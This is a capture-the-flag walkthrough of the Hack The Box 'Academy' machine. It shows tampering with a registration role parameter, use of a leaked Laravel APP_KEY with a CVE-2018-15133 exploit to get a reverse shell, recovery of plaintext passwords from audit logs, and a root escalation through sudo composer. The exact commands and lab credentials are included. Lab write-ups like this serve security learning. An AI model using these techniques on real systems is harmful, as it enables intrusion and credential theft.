Academy has nothing to do with academics. It was just another box with a couple of frustrating moments. The UI maintained a clone of HTB Academy and it is another segment in HTB for the learners.
The initial phase is always a Nmap scan and that was done, it gave two open ports.
Nmap scan report for academy.htb (10.10.10.215)
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Hack The Box Academy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Adding the box to the hosts file is a good way to start, even though sometimes that becomes immaterial, fortunately for the academy it was inevitable because the IP was redirecting to academy.htb.Accessing http://academy.htb gave a home page.
Before jumping into the login and register, a directory bruting was initiated using dirsearch and the results were promising.Login and register functionalities were available as per the home screen. Accessing both gave normal forms for a login and registration. Inputs are always a valid point to start.The SQLi and default logins never opened the door. Without wasting much time an account was registered and logged in. The dashboard resembled the HTB academy without any functionality. It was a dead-end, but considering the access to registration and login pages, the flow was clear. There should be a valid login. Both the request to login and register was proxied to Burpsuite and that was a great move. The register request had a roleid
parameter.
uid=joeldejo&password=password&confirm=password&roleid=0
The value was changed from 0 to 1 and that gave a redirection to success-page.php
The new user has been registered with a roleid=1, it was a user with different privileges than a user with roleid=0. That was not an assumption this is how a request creates a user with roles. A role-based access control (RBAC) or RBAC is a model in which roles are created for various job functions, and permissions to perform certain operations are then tied to roles.
The registration was done, the door was the login and the key was roleid. But unfortunately, the credentials didn’t work as per the theory. It gave the same static page. It should work, not here somewhere else.
Admins are special and they don’t log in with the user. There should be another endpoint, this was the point where the dirsearch result made a breakthrough. The admin login should be done via http://academy.htb/admin.php. The credentials worked fine for the admin dashboard. After the login, there were more doors to open.
- dev-staging-01.academy.htb
- cry0l1t3 / mrb3n
dev-staging-01.academy.htb was added to the host files and accessed which in turn gave more info. It was running the laravel framework and debug was turned on. Laravel is a free, open-source PHP web framework intended for the development of web applications following the model–view–controller architectural pattern. The following information was included in the debug response. These were the environment variables.
APP_NAME "Laravel"
APP_ENV "local"
APP_KEY "base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0="
APP_DEBUG "true"
APP_URL "http://localhost"
LOG_CHANNEL "stack"
DB_CONNECTION "mysql"
DB_HOST "127.0.0.1"
DB_PORT "3306"
DB_DATABASE "homestead"
DB_USERNAME "homestead"
DB_PASSWORD "secret"
BROADCAST_DRIVER "log"
CACHE_DRIVER "file"
SESSION_DRIVER "file"
SESSION_LIFETIME "120"
QUEUE_DRIVER "sync"
REDIS_HOST "127.0.0.1"
REDIS_PASSWORD "null"
REDIS_PORT "6379"
MAIL_DRIVER "smtp"
MAIL_HOST "smtp.mailtrap.io"
MAIL_PORT "2525"
MAIL_USERNAME "null"
MAIL_PASSWORD "null"
MAIL_ENCRYPTION "null"
PUSHER_APP_ID ""
PUSHER_APP_KEY ""
PUSHER_APP_SECRET ""
PUSHER_APP_CLUSTER "mt1"
MIX_PUSHER_APP_KEY ""
MIX_PUSHER_APP_CLUSTER "mt1"
The usernames and passwords for the database were available in the debug response. This information can not be used to login since the host address is 127.0.0.1. Debug is always turned off while a deployment in to the production environment. But that means debug being turned on in HTB has something to do. Laravel framework and debug, a puerile combination, there should be an exploit. The only piece of information that might help was APP_KEY.Keeping that in mind an exploit recon was done which ended up with CVE-2018-15133.
As per the description that was available at CVE-2018-15133
In Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, remote code execution might occur as a result of an unserialize call on a potentially untrusted X-XSRF-TOKEN value. This involves the decrypt method in Illuminate/Encryption/Encrypter.php and PendingBroadcast in gadgetchains/Laravel/RCE/3/chain.php in phpggc. The attacker must know the application key, which normally would never occur, but could happen if the attacker previously had privileged access or accomplished a previous attack.
A python exploit was available in Github. The exploit was straight forward
$ python3 exploit.py http://python3 pwn_laravel.py http://dev-staging-01.academy.htb dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= -i
With an interactive shell in place, a bash reverse TCP shell was created for ease of movement and tab completion. I ran a Netcat listener and created a reverse shell using the interactive option packed with the exploit. Once a shell was popped up,it was upgraded to an interactive shell, the first thing on the list.
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl + z
stty -raw echo;fg
export TERM=xterm
The shell opened at /var/www/html/htb-academy-dev-01/public.There were two vhosts academy.htb and dev-staging-01.academy.htb, considering that there should be two directories in the web server.
www-data@academy:/var/www/html$ ls
academy htb-academy-dev-01 index.php
www-data@academy:/var/www/html$ ls -a htb-academy-dev-01/
. .gitignore composer.lock public storage
.. app config readme.md tests
.env artisan database resources vendor
.env.example bootstrap package.json routes webpack.mix.js
.gitattributes composer.json phpunit.xml server.php
www-data@academy:/var/www/html$ ls -a academy/
. .gitignore composer.lock public storage
.. app config readme.md tests
.env artisan database resources vendor
.env.example bootstrap package.json routes webpack.mix.js
.gitattributes composer.json phpunit.xml server.php
Both academy & htb-academy-dev-01 had similar files and environment variables declared.But there was a difference in .env file for academy.
www-data@academy:/var/www/html$ diff academy/.env htb-academy-dev-01/.env
4c4
< APP_DEBUG=false
---
> APP_DEBUG=true
12,14c12,14
< DB_DATABASE=academy
< DB_USERNAME=dev
< DB_PASSWORD=mySup3rP4s5w0rd!!
---
> DB_DATABASE=homestead
> DB_USERNAME=homestead
> DB_PASSWORD=secret
2 usernames 2 passwords 2 different databases.Before delving more the users in the box were listed
www-data@academy:/var/www/html$ ls /home
21y4d ch4p cry0l1t3 egre55 g0blin mrb3n
www-data@academy:/var/www/html$
cry0l1t3 & mrb3n were the names from the Admin Dashboard.The .env file for academy had a new password and with two users, it was a matter of seconds. The first user with the password mySup3rP4s5w0rd!! gave new shell access with the privilege to read the user.txt
$su - cry0l1t3
The first few things without a linpeash were checking the groups,sudo access level and running processes.
cry0l1t3@academy:~$ groups
cry0l1t3 adm
cry0l1t3@academy:~$ sudo -l
[sudo] password for cry0l1t3:
Sorry, user cry0l1t3 may not run sudo on academy.
cry0l1t3@academy:~$ ps -aux | grep -E 'cry0l1t3'
root 9477 0.0 0.0 9000 3932 pts/0 S 10:00 0:00 su - cry0l1t3
cry0l1t3 9497 0.0 0.2 18608 9700 ? Ss 10:01 0:00 /lib/systemd/systemd --user
cry0l1t3 9498 0.0 0.0 105404 3440 ? S 10:01 0:00 (sd-pam)
cry0l1t3 9505 0.0 0.0 2608 1724 pts/0 S 10:01 0:00 -sh
cry0l1t3 9587 0.0 0.2 15732 9700 pts/0 S+ 10:03 0:00 python3 -c import pty;pty.spawn("/bin/bash")
cry0l1t3 9588 0.0 0.1 8176 4980 pts/1 Ss 10:03 0:00 /bin/bash
cry0l1t3 9625 0.0 0.0 9084 3568 pts/1 R+ 10:04 0:00 ps -aux
cry0l1t3 9626 0.0 0.0 6432 732 pts/1 R+ 10:04 0:00 grep --color=auto -E cry0l1t3
The only credible information as of now was the adm group. Group adm is used for system monitoring tasks in Linux. Members of this group can read many log files in /var/log and can use xconsole. There were a lot of files and directories and a moment of perplexity.
cry0l1t3@academy:/var/log$ ls
alternatives.log dmesg.4.gz syslog.5.gz
alternatives.log.1 dpkg.log syslog.6.gz
alternatives.log.2.gz dpkg.log.1 syslog.7.gz
alternatives.log.3.gz dpkg.log.2.gz ubuntu-advantage.log
apache2 dpkg.log.3.gz unattended-upgrades
apt dpkg.log.4.gz vmware-network.1.log
audit faillog vmware-network.2.log
auth.log installer vmware-network.3.log
auth.log.1 journal vmware-network.4.log
auth.log.2.gz kern.log vmware-network.5.log
auth.log.3.gz kern.log.1 vmware-network.6.log
auth.log.4.gz kern.log.2.gz vmware-network.7.log
bootstrap.log kern.log.3.gz vmware-network.8.log
btmp kern.log.4.gz vmware-network.9.log
btmp.1 landscape vmware-network.log
cloud-init.log lastlog vmware-vmsvc-root.1.log
cloud-init-output.log mysql vmware-vmsvc-root.2.log
dist-upgrade private vmware-vmsvc-root.3.log
dmesg syslog vmware-vmsvc-root.log
dmesg.0 syslog.1 vmware-vmtoolsd-root.log
dmesg.1.gz syslog.2.gz wtmp
dmesg.2.gz syslog.3.gz
dmesg.3.gz syslog.4.gz
The only thing to do was grep, grep and grep…! Many unsuccessful attempts were made to grep a password or a key. After playing with files it was time for directories. And as illustrated above there was an audit directory, that I have not seen in my Linux server. By default, the Audit system stores log entries in the /var/log/audit/audit.log file. So the audit folder has audit logs. Grepping for the password with a case-sensitive flag got results similar to below.
cry0l1t3@academy:/var/log/audit$
cry0l1t3@academy:/var/log/audit$ grep -rni pass *
audit.log.1:37098:type=USER_ACCT msg=audit(1600117064.528:124): pid=21880 uid=0 auid=1000 ses=2 msg='op=user syslog added by root to group tty acct="tty" exe="/usr/bin/gpasswd" hostname=academy addr=? terminal=pts/1 res=success'
audit.log.3:29:type=CONFIG_CHANGE msg=audit(1597199290.086:81): pid=2515 uid=0 auid=0 ses=1 op=tty_set old-enabled=0 new-enabled=1 old-log_passwd=0 new-log_passwd=1 res=1
audit.log.3:47:type=CONFIG_CHANGE msg=audit(1597199608.423:99): pid=2515 uid=0 auid=0 ses=1 op=tty_set old-enabled=1 new-enabled=0 old-log_passwd=1 new-log_passwd=0 res=1
audit.log.3:53:type=CONFIG_CHANGE msg=audit(1597199610.159:105): pid=2707 uid=0 auid=0 ses=1 op=tty_set old-enabled=0 new-enabled=1 old-log_passwd=0 new-log_passwd=1 res=1
audit.log.3:58:type=CONFIG_CHANGE msg=audit(1597199617.575:110): pid=2707 uid=0 auid=0 ses=1 op=tty_set old-enabled=1 new-enabled=0 old-log_passwd=1 new-log_passwd=0 res=1
Failing every time with the keywords for sensitive information a google search of clear text passwords in audit log made a great breakthrough to the user mrb3n. The blog on behalf of logging passwords in linux described grabbing clear text passwords from users as they use su/sudo. The text to grep was never password. That was either su or sudo.
As per the blog the password will be in hexadecimal and it was clear the data will be in the eleventh field.Decrypting the password was done using a bash oneliner.
cry0l1t3@academy:/var/log/audit$ grep -rni 'comm="su"\|comm="sudo"' * | awk '{print $11}' | cut -d'=' -f2 | xxd -r -p
mrb3n_Ac@d3my!
After logging in as mrb3n, the first thing for privilege escalation was to look for the sudo access level.mrb3n had sudo privileges to run composer. As per the information available from Gtfobins with composer, if the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x
Regardless of a warning triggered, the above snippet escalated the privileges to root. Academy was rooted..!